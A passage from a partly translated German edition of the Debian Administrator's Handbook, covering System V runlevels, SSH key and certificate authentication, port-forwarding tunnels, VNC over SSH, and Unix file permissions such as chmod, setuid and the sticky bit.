das Einhängen von Netzwerkdateisystemen (NFS).

ZURÜCK ZU DEN GRUNDLAGEN Kernelmodule und -optionen

You have already learned that kernel modules can be loaded during the start of the system by adding them to /etc/modules or a file below /etc/modules-load.d/. But modules can also have options that can be configured by putting some files in /etc/modprobe.d/. These options are defined with directives like this: options module-name option-name=option-value. Several options can be specified with a single directive if necessary.

These configuration files are intended for modprobe — the program that loads a kernel module with its dependencies (modules can indeed call other modules). To list all options of a module use the modinfo -p module command. Both programs are provided by the kmod package together with other tools to handle modules.

Having learned about systemd, services and targets can use the modprobe@module.service to load kernel modules they depend on.

Nach dieser Phase übernimmt init und startet die im Standard-Runlevel (der normalerweise Runlevel 2 ist) aktivierten Programme. Es führt /etc/init.d/rc 2 aus, ein Skript, das alle Dienste startet, die in /etc/rc2.d/ aufgeführt sind und mit dem Buchstaben „S“ beginnen. Die anschließenden zweistelligen Zahlen wurden früher dazu benutzt, die Reihenfolge festzulegen, in der die Dienste gestartet werden mussten, aber heute verwendet das Standard-Bootsystem insserv, das ausgehend von den Abhängigkeiten der Skripten alles selbsttätig zeitlich festlegt. Jedes Boot-Skript legt die Bedingungen fest, die gelten müssen, damit ein Dienst gestartet oder beendet wird (ob er zum Beispiel vor oder nach einem anderen Dienst gestartet werden muss); init startet sie dann in der Reihenfolge, die diese Bedingungen erfüllt. Die feststehende Nummerierung der Skripten wird daher nicht mehr berücksichtigt (sie müssen trotzdem weiterhin einen Namen haben, der mit „S“ beginnt gefolgt von zwei Zahlen und dem Namen des Skripts, das für die Abhängigkeiten verwendet wird). Im Allgemeinen werden grundlegende Dienste (wie das Protokollieren mit rsyslog oder die Portzuweisung mit portmap) als erste gestartet, gefolgt von Standarddiensten und der grafischen Schnittstelle (gdm3).

Dieses Bootsystem auf der Grundlage von Abhängigkeiten ermöglicht es, die Neu-Nummerierung zu automatisieren, die recht mühsam wäre, wenn sie von Hand erledigt werden müsste, und es begrenzt das Risiko menschlichen Versagens, da die Festlegung der zeitlichen Abfolge in Übereinstimmung mit den angegebenen Parametern erfolgt. Ein weiterer Vorteil besteht darin, dass voneinander unabhängige Dienste zeitgleich gestartet werden können, was den Prozess des Hochfahrens beschleunigt.

init unterscheidet zwischen verschiedenen Runleveln, so dass es mit dem Befehl telinit neuer-level von einem zum anderen umschalten kann. init führt bei einem neuen Runlevel unmittelbar ein weiteres Mal /etc/init.d/rc aus. Dieses Skript startet dann die fehlenden Dienste und beendet die nicht mehr benötigten. Hierzu bezieht es sich auf den Inhalt der Datei /etc/rcX.d (wobei X den neuen Runlevel bezeichnet). Skripten, deren Namen mit „S“ beginnen (wie in „Start“), verweisen auf zu startende Dienste, solche mit „K“ (wie in „Kill“) auf zu beendende. Das Skript startet keine Dienste, die im vorherigen Runlevel bereits aktiv waren.

Standardmäßig verwendet System V init in Debian vier verschiedene Runlevel:

Level 0 wird nur vorübergehend beim Herunterfahren des Rechners benutzt. Daher enthält er nur zahlreiche „K“-Skripten.

Level 1, auch Single-User Modus genannt, entspricht dem System in rudimentärem Zustand. Er umfasst einzig grundlegende Dienste und ist hauptsächlich für die Systemwartung gedacht, bei dem Interaktionen mit normalen Benutzern nicht erwünscht sind.

Level 2 ist der Level für den Normalbetrieb, der Netzwerkdienste, eine grafische Schnittstelle, Benutzeranmeldungen usw. umfasst.

Level 6 gleicht Level 0, nur dass er während des Herunterfahrens vor einem Neustart verwendet wird.

Es gibt weitere Level, insbesondere 3 bis 5. Standardmäßig sind sie so konfiguriert, dass sie sich wie Level 2 verhalten. Jedoch kann der Administrator sie verändern (indem er in den entsprechenden Verzeichnissen unter /etc/rcX.d Skripten hinzufügt oder löscht), um sie so besonderen Bedürfnissen anzupassen.

Abbildung 9.2. Boot-Sequenz eines Rechners, auf dem Linux mit System V init läuft

All the scripts contained in the various /etc/rcX.d directories are really only symbolic links — created upon package installation by the update-rc.d program — pointing to the actual scripts which are stored in /etc/init.d/. The administrator can fine tune the services available in each runlevel by re-running update-rc.d with adjusted parameters. The update-rc.d(1) manual page describes the syntax in detail. Please note that removing all symbolic links (with the remove parameter) is not a good method to disable a service. Instead you should simply configure it to not start in the desired runlevel (while preserving the corresponding calls to stop it in the event that the service runs in the previous runlevel). Since update-rc.d has a somewhat convoluted interface, you may prefer using rcconf (from the rcconf package) which provides a more user-friendly interface.

DEBIAN-RICHTLINIEN Dienste neu starten

Die Betreuerskripten für Debian-Pakete starten manchmal bestimmte Dienste neu, um ihre Verfügbarkeit sicherzustellen, oder damit sie bestimmte Optionen berücksichtigen. Der Befehl zur Steuerung eines Dienstes - servicedienst vorgang - berücksichtigt Runlevel nicht, geht (fälschlicherweise) davon aus, dass der Dienst gerade benutzt wird und kann daher falsche Vorgänge auslösen (einen Dienst starten, der bewusst abgeschaltet worden war, einen Dienst anhalten, der bereits angehalten ist usw.). Deshalb hat Debian das Programm invoke-rc.d eingeführt: dieses Programm muss von Betreuerskripten verwendet werden, um Initialisierungsskripten für Dienste aufzurufen und führt nur die erforderlichen Befehle aus. Man beachte, dass das Suffix .d hier, im Gegensatz zu seiner sonst üblichen Verwendung, in einem Programmnamen und nicht in einem Verzeichnis benutzt wird.

Schließlich startet init Steuerprogramme für mehrere virtuelle Konsolen (getty). Es zeigt eine Eingabeaufforderung an, in der es auf einen Benutzernamen wartet, und führt dann login benutzer aus, um eine Sitzung zu starten.

WÖRTERVERZEICHNIS Konsole und Terminal

Die ersten Computer waren gewöhnlich in mehrere, sehr große Teile unterteilt: das Speichergehäuse und die zentrale Verarbeitungseinheit waren von den Peripheriegeräten getrennt, die von den Bedienern zu ihrer Steuerung benutzt wurden. Letztere waren Teil einer separaten Einrichtung, der „Konsole“. Dieser Begriff wurde beibehalten, aber seine Bedeutung hat sich verändert. Er wurde mehr oder weniger zu einem Synonym für „Terminal“, das aus einer Tastatur und einem Bildschirm besteht.

Im Laufe der Entwicklung der Computer haben Betriebssysteme schließlich mehrere virtuelle Konsolen angeboten, um gleichzeitig mehrere unabhängige Sitzungen zu ermöglichen, selbst wenn es nur eine Tastatur und einen Bildschirm gibt. Die meisten GNU/Linux-Systeme bieten sechs virtuelle Konsolen (im Textmodus) an, die durch die Eingabe der Tastenkombinationen Control+Alt+F1 bis Control+Alt+F6 zugänglich sind.

By extension, the terms “console” and “terminal” can also refer to a terminal emulator in a graphical session (such as xterm, gnome-terminal or konsole).

9.2. Remoteanmeldung

Es ist für einen Administrator wichtig, sich aus der Ferne mit einem Rechner verbinden zu können. Server, die in ihrem eigenen Raum eingeschlossen sind, werden selten dauerhaft mit Tastaturen und Bildschirmen ausgestattet - aber sie sind mit dem Netzwerk verbunden.

ZURÜCK ZU DEN GRUNDLAGEN Client, Server

Ein System, bei dem mehrere Prozesse miteinander kommunizieren. wird häufig mit dem bildlichen Ausdruck „Client-Server“ beschrieben. Der Server ist das Programm, das Anfragen vom Client entgegen nimmt und ausführt. Der Client steuert die Vorgänge, der Server tut nichts aus eigener Initiative.

9.2.1. Sicheres Remoteanmelden: SSH

Beim SSH-Protokoll (Secure SHell) wurden Sicherheit und Zuverlässigkeit bereits im Entwurf berücksichtigt. Verbindungen auf der Basis von SSH sind sicher: der Partner ist authentifiziert und jeglicher Datenverkehr erfolgt verschlüsselt.

KULTUR Telnet und RSH sind veraltet

Vor SSH waren Telnet und RSH die wesentlichen Werkzeuge um sich aus der Ferne anzumelden. Heute sind sie weitestgehend überflüssig und sollten nicht weiter benutzt werden, auch wenn Debian sie immer noch zur Verfügung stellt.

WÖRTERVERZEICHNIS Authentifizierung, Verschlüsselung

When you need to give a client the ability to conduct or trigger actions on a server, security is important. You must ensure the identity of the client; this is authentication. This identity usually consists of a password or passphrase that must be kept secret, or any other client could it. This is the purpose of encryption, which is a form of encoding that allows two systems to communicate confidential information on a public channel while protecting it from being readable to others.

Authentifizierung und Verschlüsselung werden häufig zusammen genannt, weil beide oft gleichzeitig benutzt werden, und weil sie gewöhnlich durch ähnliche mathematische Konzepte umgesetzt werden.

SSH bietet auch zwei Dateiübertragungsdienste an. scp ist ein Befehlszeilenprogramm, das wie cp benutzt werden kann, nur dass jedem Pfad zu einem anderen Rechner der Name dieses Rechners gefolgt von einem Doppelpunkt vorangestellt wird.

$ scp file machine:/tmp/

sftp ist ein interaktiver Befehl, ähnlich wie ftp. In einer einzigen Sitzung kann sftp mehrere Dateien übertragen, und es ist möglich, mit ihm Dateien auf einem entfernten Rechner zu bearbeiten (löschen, umbenennen, Berechtigungen ändern usw.).

Debian verwendet OpenSSH, eine freie Version von SSH, die vom OpenBSD-Projekt betreut wird (einem freien Betriebssystem, das auf dem BSD-Kernel aufbaut und seinen Schwerpunkt auf Sicherheit setzt) und ist ein Fork der ursprünglich vom finnischen Unternehmen SSH Communications Security Corp. entwickelten SSH-Software. Dieses Unternehmen entwickelte SSH ursprünglich als freie Software, entschied sich jedoch schließlich, seine Entwicklung unter einer proprietären Lizenz fortzusetzen. Das OpenBSD-Projekt schuf daraufhin OpenSSH, um eine freie Version von SSH zu bewahren.

ZURÜCK ZU DEN GRUNDLAGEN Fork

Ein „Fork“ im Softwarebereich ist ein neues Vorhaben, das als Klon eines bestehenden Vorhabens beginnt und mit ihm konkurriert. Von da an entwickeln sich beide Programme, was neue Entwicklungen angeht, gewöhnlich schnell auseinander. Ein Fork ist häufig die Folge von Meinungsverschiedenheiten innerhalb des Entwicklungsteams.

Die Option, ein Vorhaben zu forken, ist eine direkte Folge der Eigenart freier Software; ein Fork ist ein heilsamer Vorgang, wenn sie die Fortführung eines Vorhabens als freie Software ermöglicht (zum Beispiel im Falle von Lizenzänderungen). Dagegen ist ein Fork, der sich aus technischen oder persönlichen Meinungsverschiedenheiten ergibt, häufig eine Verschwendung menschlicher Ressourcen; eine andere Lösung wäre vorzuziehen. Auch der Zusammenschluss zweier Vorhaben, die früher durch einen Fork gegangen sind, ist nicht gänzlich unbekannt.

OpenSSH is split into two packages: the client part is in the openssh-client package, and the server is in the openssh-server package. The ssh meta-package depends on both parts and facilitates installation of both (apt install ssh), while the task-ssh-server, often chosen during the initial installation, depends on the server package only.

9.2.1.1. Schlüsselbasierte Authentifizierung

Jedes Mal, wenn sich jemand über SSH anmeldet, fragt der entfernte Server nach einem Passwort zur Authentifizierung des Benutzers. Dies kann problematisch sein, wenn man eine Verbindung automatisieren möchte, oder wenn man ein Hilfsprogramm verwendet, das häufige Verbindungen über SSH benötigt. Daher bietet SSH ein schlüsselbasiertes Authentifizierungssystem.

The user generates a key pair on the client machine with ssh-keygen -t rsa; the so generated public key is stored in ~/.ssh/id_rsa.pub, while the corresponding private key is stored in ~/.ssh/id_rsa. The user can then use ssh-copy-id server to add their public key to the ~/.ssh/authorized_keys file on the server, or, if SSH access hasn't been enabled yet, they have to ask the administrator to add their key manually.

If the private key was not protected with a “passphrase” at the time of its creation, all subsequent logins on the server will work without a password. Otherwise, the private key must be decrypted each time by entering the passphrase. Fortunately, ssh-agent allows us to keep private keys in memory to not have to regularly re-enter the password. For this, you simply use ssh-add (once per work session) provided that the session is already associated with a functional instance of ssh-agent. Debian activates it by default in graphical sessions, but this can be deactivated by changing /etc/X11/Xsession.options and commenting out use-ssh-agent. For a console session, you can manually start the agent with eval $(ssh-agent).

SICHERHEIT Schutz des privaten Schlüssels

Wer im Besitz des privaten Schlüssels ist, kann sich mit dem entsprechend konfigurierten Konto anmelden. Daher ist der Zugriff auf den privaten Schlüssel durch eine „Passphrase“ geschützt. Selbst wenn jemand in den Besitz eines privaten Schlüssels gelangt (zum Beispiel die Datei ~/.ssh/id_rsa), muss er zusätzlich noch diese Phrase kennen, um ihn verwenden zu können. Dieser zusätzliche Schutz ist jedoch nicht unüberwindlich, und wenn Sie denken, dass die Sicherheit dieser Datei nicht mehr gewährleistet ist, sollten Sie diesen Schlüssel auf den Rechnern, auf denen er installiert wurde, deaktivieren (indem Sie ihn aus authorized_keys entfernen) und durch einen neu erzeugten Schlüssel ersetzen.

KULTUR OpenSSL-Schwachstelle in Debian Etch

Die OpenSSL-Bibliothek, die ursprünglich mit Debian Etch bereitgestellt wurde, hatte ein gravierendes Problem in ihrem Zufallszahlengenerator (RNG). In der Tat hatte der zuständige Debian-Betreuer eine Änderung vorgenommen, damit Anwendungen, die ihn verwenden, keine Warnmeldungen mehr verursachen, wenn sie von Werkzeugen für das Memory Management wie zum Beispiel valgrind analysiert werden. Leider hatte diese Änderung auch zur Folge, dass der Zufallszahlengenerator nur eine Entropie-Quelle in Abhängigkeit von der Prozesskennung (PID) benutzte, deren 32.000 mögliche Werte keinen ausreichenden Grad an Zufälligkeit boten.

→ https://www.debian.org/security/2008/dsa-1571

Insbesondere, wenn OpenSSL benutzt wurde, um einen Schlüssel zu erzeugen, wurde dieser immer aus einem Satz einiger hunderttausend Schlüssel erstellt (32.000 multipliziert mit einer kleinen Zahl von Schlüssellängen). Hiervon waren SSH-Schlüssel, SSL-Schlüssel und von zahlreichen Anwendungen, wie zum Beispiel OpenVPN, verwendete X.509-Zertifikate betroffen. Ein Eindringling brauchte nur alle Schlüssel auszuprobieren, um unberechtigten Zugriff zu erlangen. Um die Auswirkung des Problems einzuschränken, wurde der SSH-Daemon dahingehend verändert, dass er zweifelhafte Schlüssel, die in den Paketen openssh-blacklist und openssh-blacklist-extra aufgelistet sind, zurückweist. Darüber hinaus ermöglicht es der Befehl ssh-vulnkey, möglicherweise gefährdete Schlüssel im System zu identifizieren.

Eine gründlichere Analyse dieses Vorfalls zeigt, dass er das Ergebnis mehrerer (kleiner) Probleme ist, sowohl innerhalb des OpenSSL-Projekts als auch mit dem Debian-Paketbetreuer. Eine weit verbreitete Bibliothek wie OpenSSL sollte - ohne Änderungen - keine Warnungen erzeugen, wenn sie mit valgrind getestet wird. Außerdem sollte der Code (insbesondere die so empfindlichen Teile wie der RNG) besser kommentiert werden, um solche Fehler zu vermeiden. Auf Debians Seite wollte der Betreuer die Änderungen mit den OpenSSL-Entwicklern validieren, erklärte aber einfach die Änderungen, ohne den entsprechenden Patch zur Verfügung zu stellen, und versäumte es, seine Rolle in Debian zu erwähnen. Schließlich waren die Wartungsoptionen suboptimal: die Änderungen am Originalcode wurden nicht eindeutig dokumentiert; alle Änderungen wurden effektiv in einem Subversion-Repository gespeichert, aber sie endeten alle in einem einzigen Patch während der Erstellung des Quellpakets.

Es ist unter diesen Umständen schwierig, Korrekturmaßnahmen zu finden, die solche Vorfälle in Zukunft verhindern. Die Lehre, die hieraus gezogen werden kann, ist, dass jede Abweichung, die Debian in Ursprungssoftware einführt, begründet, dokumentiert, möglichst dem Ursprungsprojekt vorgelegt und verbreitet veröffentlicht werden muss. Unter diesem Gesichtspunkt wurden das neue Quellpaket-Format („3.0 (quilt)“) und die Debian Quellen Webseite entwickelt.

→ https://sources.debian.org

9.2.1.2. Cert-Based Authentication

SSH keys cannot just be protected by a password (or not). An often unknown feature is that they can also be signed via certificate, both the host as well as the client keys. This approach comes with several advantages. Instead of maintaining an authorized_keys file per user as described in the previous section, the SSH server can be configured to trust all client keys signed by the same certificate (see also Abschnitt 10.2.2, „Public-Key-Infrastrultur: easy-rsa“) by using the TrustedUserCAKeys and HostCertificate directives in /etc/ssh/sshd_config.

TrustedUserCAKeys /etc/ssh/ssh_users_ca.pub HostKey /etc/ssh/ssh_host_ecdsa_key HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub

Vice-versa the clients can also be configured to trust the host key signed by the same authority, making it easier to maintain the known_hosts file (even system wide via /etc/ssh/known_hosts).

@cert-authority *.falcot.com ssh-rsa AAAA[..]

Both, public key and certificate authentication, can be used alongside each other.

9.2.1.3. Entfernte X11-Anwendungen benutzen

Das SSH-Protokoll ermöglicht die Weiterleitung grafischer Daten („X11“-Sitzung, nach dem Namen des am weitesten verbreiteten grafischen Systems in Unix); der Server stellt hierbei einen besonderen Kanal für diese Daten bereit. Konkret bedeutet dies, dass ein aus der Ferne ausgeführtes, grafisches Programm vom X.org-Server auf dem lokalen Bildschirm dargestellt werden kann, und dass die gesamte Sitzung (Eingabe und Anzeige) abgesichert ist. Da entfernte Anwendungen durch diese Funktion das lokale System beeinträchtigen können, ist sie standardmäßig deaktiviert. Sie kann aktiviert werden, indem man in der Serverkonfigurationsdatei (/etc/ssh/sshd_config) die Option X11Forwarding yes einstellt. Schließlich muss der Benutzer diese Funktion anfordern, indem er die Option -X zur Befehlszeile ssh hinzufügt.

GOING FURTHER Magic cookies in .Xauthority

When a user connects via SSH and starts a remote X11 session, a so-called magic cookie is created and stored in the .Xauthority file in the user's home directory that initiated the connection. This cookie is used by xauth to authenticate the user during the X session. If the user impersonates another user on the system, e.g. using su or sudo, then the cookie is not copied automatically to the target user and the X server will refuse to start graphical applications under the target user's context. You will have to copy the magic cookie into the target user's home directory (by exporting and re-importing the cookie via xauth) to allow another user to start graphical programs as well during the X session.

9.2.1.4. Verschlüsselte Tunnel mit Port-Weiterleitung einrichten

Die Optionen -R und -L des Befehls ssh ermöglichen es, „verschlüsselte Tunnel“ zwischen zwei Rechnern zu erstellen, und so einen lokalen TCP-Port (siehe ZURÜCK ZU DEN GRUNDLAGEN TCP/UDP in der Seitenleiste) sicher an einen entfernten Rechner weiterzuleiten und umgekehrt.

WÖRTERVERZEICHNIS Tunnel

Das Internet und die meisten mit ihm verbundenen LANs arbeiten im Paket-Modus und nicht in einem fest geschalteten Modus. Das heißt, dass ein Paket, das von einem Rechner zu einem anderen verschickt wird, auf dem Weg zu seinem Ziel an mehreren dazwischenliegenden Routern angehalten wird. Dennoch kann man einen fest geschalteten Betrieb nachahmen, indem der Datenstrom in normale IP-Pakete eingeschlossen wird. Diese Pakete laufen über ihren üblichen Weg, jedoch wird der Datenstrom am Ziel dann unverändert rekonstruiert. Man nennt dies einen „Tunnel“ in Analogie zu einem Straßentunnel, bei dem Fahrzeuge direkt vom Eingang (Eingabe) zum Ausgang (Ausgabe) fahren, ohne auf irgendwelche Kreuzungen zu stoßen, im Gegensatz zu einem Weg an der Oberfläche, bei dem es Kreuzungen und Richtungswechsel gibt.

Man kann bei dieser Gelegenheit den Tunnel verschlüsseln: der Datenstrom, der durch ihn hindurchläuft, ist dann von außen unkenntlich, wird aber am Tunnelausgang wieder in eine unverschlüsselte Form zurückgeführt.

ssh -L 8000:server:25 intermediary eröffnet eine SSH-Sitzung mit dem Host intermediary und nimmt am lokalen Port 8000 Verbindungen an (siehe Abbildung 9.3, „Einen lokalen Port mit SSH weiterleiten“). Für jede Verbindung, die zu diesem Port hergestellt wird, baut ssh eine Verbindung vom Rechner intermediary zum Port 25 des server auf und verknüpft beide Verbindungen.

ssh -R 8000:server:25 intermediary eröffnet auch eine SSH-Sitzung zum Rechner intermediary, aber ssh nimmt dann auf diesem Rechner an Port 8000 Verbindungen an (siehe Abbildung 9.4, „Einen entfernten Port mit SSH weiterleiten“). Jede Verbindung, die an diesem Port hergestellt wird, veranlasst ssh, eine Verbindung vom lokalen Rechner zum Port 25 des server zu öffnen und beide Verbindungen miteinander zu verknüpfen.

In beiden Fällen werden Verbindungen zu Port 25 auf dem Host server hergestellt, die durch den SSH-Tunnel laufen, der zwischen dem lokalen Rechner und dem Rechner intermediary hergestellt wurde. Im ersten Fall ist der Eingang zum Tunnel der lokale Port 8000, und die Daten laufen zum Rechner intermediary, bevor sie zum server im „öffentlichen“ Netzwerk geleitet werden. Im zweiten Fall sind Ein- und Ausgang im Tunnel vertauscht: der Eingang ist Port 8000 auf dem Rechner intermediary, der Ausgang ist auf dem lokalen Host, und die Daten werden dann zum server geleitet. In der Praxis ist der Server normalerweise entweder der lokale Rechner oder der intermediäre. Auf diese Weise sichert SSH die Verbindung von einem Ende zum anderen.

Abbildung 9.3. Einen lokalen Port mit SSH weiterleiten

Abbildung 9.4. Einen entfernten Port mit SSH weiterleiten

9.2.2. Entfernte grafische Arbeitsflächen benutzen

VNC (Virtual Network Computing) ermöglicht aus der Ferne Zugriff auf grafische Arbeitsflächen.

Dieses Hilfsprogramm wird vor allem zur technischen Unterstützung eingesetzt; der Administrator kann die Fehler sehen, denen ein Benutzer gegenübersteht, und ihm die richtige Vorgehensweise zeigen, ohne vor Ort sein zu müssen.

First, the user must authorize sharing their session. The GNOME graphical desktop environment includes that option via Settings → Sharing (contrary to previous versions of Debian, where the user had to install and run vino). For this to work network-manager must be managing the network used (e.g. enable the managed mode for devices handled by ifupdown in /etc/NetworkManager/NetworkManager.conf). KDE Plasma still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc or tightvncserver commands (from the Debian packages of the same name) or tigervncserver (tigervnc-standalone-server) serve the same purpose and provide the vnc-server virtual package; you can make either of them available to the user with an explicit menu or desktop entry.

When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while the KDE project provides krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xtightvncviewer from the homonym package or xtigervncviewer from the tigervnc-viewer Debian package. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.

SICHERHEIT VNC über SSH

Falls Sie über VNC eine Verbindung herstellen, Ihre Daten aber nicht im Klartext über das Netzwerk schicken wollen, können Sie sie in einem SSH-Tunnel verbergen (siehe Abschnitt 9.2.1.4, „Verschlüsselte Tunnel mit Port-Weiterleitung einrichten“). Sie müssen nur wissen, dass VNC standardmäßig den Port 5900 für den ersten Bildschirm („localhost:0“ genannt), 5901 für den zweiten („localhost:1“ genannt) usw. verwendet.

Der Befehl ssh -L localhost:5901:localhost:5900 -N -T rechner erstellt einen Tunnel zwischen dem lokalen Port 5901 in der localhost-Schnittstelle und Port 5900 auf dem Host rechner. Das erste „localhost“ beschränkt SSH darauf, nur an dieser Schnittstelle des lokalen Rechners auf Anfragen zu warten. Das zweite „localhost“ bezeichnet die Schnittstelle des entfernten Rechners, die den Netzverkehr entgegennehmen wird, der in „localhost:5901“ eintritt. Auf diese Weise verbindet vncviewer localhost:1 den VNC-Client mit dem entfernten Bildschirm, obwohl Sie den Namen des lokalen Rechners angeben.

Wenn die VNC-Sitzung beendet ist, vergessen Sie nicht, den Tunnel zu schließen, indem Sie auch die entsprechende SSH-Sitzung beenden.

ZURÜCK ZU DEN GRUNDLAGEN Display Manager

gdm3, kdm, lightdm, and xdm are Display Managers (they all provide the x-display-manager meta package). They take control of the graphical interface shortly after boot in order to provide the user a login screen. Once the user has logged in, they execute the programs needed to start a graphical work session.

9.3. Berechtigungen verwalten

Linux ist eindeutig ein Mehrbenutzersystem, und daher ist es erforderlich, ein Berechtigungssystem bereitzustellen, um genehmigte Vorgänge an Dateien und Verzeichnissen zu steuern, einschließlich aller Systemressourcen und Laufwerke (in einem Unix-System wird jedes Laufwerk als eine Datei oder ein Verzeichnis dargestellt). Dies ist allen Unix-Systemen gemein, aber ist immer sinnvoll daran zu erinnern, vor allem, da es einige sehr interessante und relativ unbekannte fortgeschrittene Anwendungen davon gibt.

9.3.1. Owners and Permissions

Jede Datei und jeder Ordner hat spezifische Berechtigungen für drei Kategorien von Benutzern:

seinen Eigentümer (symbolisiert durch u wie in „user“);

seine Eigentümergruppe (symbolisiert durch g wie in „group“), die alle Mitglieder der Gruppe repräsentiert;

die Sonstigen (symbolisiert durch o wie in „other“).

Three basic types of rights can be combined:

Lesen (symbolisiert durch r wie in „read“);

Schreiben (oder Ändern, symbolisiert durch w wie in „write“);

Ausführen (symbolisiert durch x wie in „eXecute“).

Bei einer Datei sind diese Berechtigungen leicht zu verstehen: Lesezugriff erlaubt das Lesen des Inhalts (einschließlich des Kopierens), Schreibzugriff erlaubt es, sie zu verändern, und Ausführungszugriff erlaubt es Ihnen, sie auszuführen (was nur funktionieren wird, wenn sie ein Programm ist).

SICHERHEIT setuid und setgid ausführbare Dateien

Two particular rights are relevant to executable files: setuid and setgid (symbolized with the letter “s”). Note that we frequently speak of “bit”, since each of these Boolean values can be represented by a 0 or a 1. These two rights allow any user to execute the program with the rights of its owner or its group, respectively. This mechanism grants access to features requiring higher level permissions than those you would usually have.

Da ein Root-Programm mit setuid durchgängig unter der Identität des Super-Users läuft, ist es sehr wichtig sicherzustellen, dass es sicher und verlässlich ist. Ein Benutzer, dem es gelingt, es zu unterlaufen, um einen Befehl seiner Wahl aufzurufen, könnte sich anschließend als Root-Benutzer ausgeben und so alle Rechte an dem System erlangen.

If you require running a program under a different user or if a program requires higher permissions, the sudo, su, or runuser commands are usually better choices than using these bits (see Abschnitt 8.9.4, „Administratorrechte gemeinsam nutzen“).

Ein Verzeichnis wird anders gehandhabt. Lesezugriff gewährt das Recht, die Liste der Einträge (Dateien und Verzeichnisse) durchzugehen, Schreibzugriff erlaubt es, Dateien zu erstellen oder zu löschen, und Ausführungszugriff erlaubt es, dieses zu durchqueren (insbesondere dorthin mit dem Befehl cd zu gehen). Die Berechtigung, ohne ein Verzeichnis zu lesen auf dessen Inhalt zugreifen zu können, gestattet Zugriff auf namentlich bekannte Dateien, nicht jedoch auf solche von denen man nichts weiß oder deren genauen Namen man nicht kennt.

SICHERHEIT setgid-Verzeichnis und Sticky-Bit

Das setgid-Bit gilt auch für Verzeichnisse. Und neu erstellte Einträge in solchen Verzeichnissen werden automatisch der Benutzergruppe des übergeordneten Verzeichnisses zugeordnet, anstatt wie gewöhnlich die Hauptgruppe des Erstellers zu übernehmen. Durch diese Einstellung wird vermieden, dass der Benutzer die Hauptgruppe des Eintrags ändern muss (mit dem Befehl newgrp), wenn er in einem Verzeichnisbaum arbeitet, der von mehreren Benutzern derselben Gruppe gemeinsam genutzt wird.

Das „Sticky“-Bit (symbolisiert durch den Buchstaben „t“) ist ein Recht, das nur in Verzeichnissen sinnvoll ist. Es wird vor allem bei temporären Verzeichnissen verwendet, auf die jeder Schreibzugriff hat (wie zum Beispiel bei /tmp/): es schränkt das Löschen von Dateien ein, so dass dies nur ihr Eigentümer (oder der Eigentümer des übergeordneten Verzeichnisses) kann. Ohne dieses Recht könnte jeder die Dateien anderer Benutzer in /tmp/ löschen.

Drei Befehle steuern die einer Datei zugeordneten Berechtigungen:

chown Benutzer Datei ändert den Eigentümer der Datei;

chgrp Gruppe Datei ändert die Eigentümergruppe;

chmod Rechte Datei ändert die Berechtigungen für die Datei.

Es gibt zwei Arten, die Berechtigungen darzustellen, wovon die symbolische Darstellung wohl am einfachsten zu verstehen und zu merken ist. Es geht um die oben erwähnten Buchstabensymbole. Sie können Berechtigungen für jede Kategorie von Benutzern festlegen (u/g/o), indem Sie sie entweder ausdrücklich setzen (mit =), sie hinzufügen (+) oder sie entfernen (-). So gewährt die Formel u=rwx,g+rw,o-r dem Eigentümer Lese-, Schreib- und Ausführungszugriff, fügt Lese- und Schreibzugriff für die Eigentümergruppe hinzu und entfernt den Lesezugriff für andere Benutzer. Rechte, die in einem solchen Befehl nicht durch Hinzufügen oder Entfernen modifiziert werden, bleiben unverändert. Der Buchstabe a, für „all“, deckt alle drei Benutzerkategorien ab, so dass a=rx allen drei Kategorien die gleichen Rechte gewährt (Lesen und Ausführen, aber nicht Schreiben).

Die (oktale) Zahlendarstellung ordnet jeder Berechtigung einen Wert zu: 4 für Lesen, 2 für Schreiben und 1 für Ausführen. Wir verknüpfen jede Kombination von Berechtigungen durch die Summe der Zahlen. Jeder Wert wird dann einer anderen Kategorie von Benutzern zugeordnet, indem sie von vorne nach hinten in der üblichen Reihenfolge (Eigentümer, Gruppe, Sonstige) angeordnet werden.

For instance, the chmod 754 file command will set the following rights: read, write and execute for the owner (since 7 = 4 + 2 + 1); read and execute for the group (since 5 = 4 + 1); read-only for others. The 0 (zero) means no rights; thus chmod 600 file allows for read/write rights for the owner, and no rights for anyone else. The most frequent right combinations are 755 for executable files and directories, and 644 for data files.

Um spezielle Berechtigungen darzustellen, können Sie dieser Zahl eine vierte Ziffer nach dem gleichen Prinzip voranstellen, wobei die setuid-, setgid- und sticky-Bits jeweils 4, 2 und 1 entsprechen. chmod 4754 fügt das setuid-Bit den zuvor beschriebenen Berechtigungen hinzu.

Beachten Sie, dass die oktale Schreibweise es nur erlaubt, alle Berechtigungen gleichzeitig für eine Datei zu setzen. Sie können sie nicht dazu benutzen, einfach eine neue Berechtigung hinzuzufügen, wie den Lesezugriff für die Eigentümergruppe, da Sie die bestehenden Berechtigungen berücksichtigen und den entsprechenden neuen numerischen Wert berechnen müssen.

TIPP Rekursives Verfahren

Manchmal müssen wir die Berechtigungen für einen ganzen Dateibaum ändern. Alle oben beschriebenen Befehle haben eine -R-Option, um rekursiv in Unterverzeichnissen zu agieren.

The distinction between directories and files sometimes causes problems with recursive operations. That is why the “X” letter has been introduced in the symbolic representation of rights. It also represents the right to execute, but it applies differently to directories and files.

For directories it adds executable permissions to the chosen user(s). For files, it adds the executable bit only if at least one of the users (owner, group, or others) already has executable permissions. Let's demonstrate it, because this bit can be confusing:

$ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod o+x test.txt $ ls test.txt -rw-r--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rwxr--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

The example shows a typical file with its default permissions: its owner can read and write it, the owner's group and all other users can read it. The next operation (u+X) won't add executable permissions for the owner of the file, because permissions to execute have not been assigned. The operation has no effect on the file. Next we assign execute rights for "other" users and repeat the operation. This time it is successful, because at least one user group already had executable permissions.

It is a misconception that this bit will only affect directories. If files and directories have mixed permissions, it is often a good idea to use the find command to locate the targets you want to operate on.

TIP Changing the user and group together

Frequently you want to change the group of a file at the same time that you change the owner. The chown command has a special syntax for that: chown user:group file. This syntax can also be used to recursively (-R) change the ownership of a whole directory.

WEITERE SCHRITTE umask

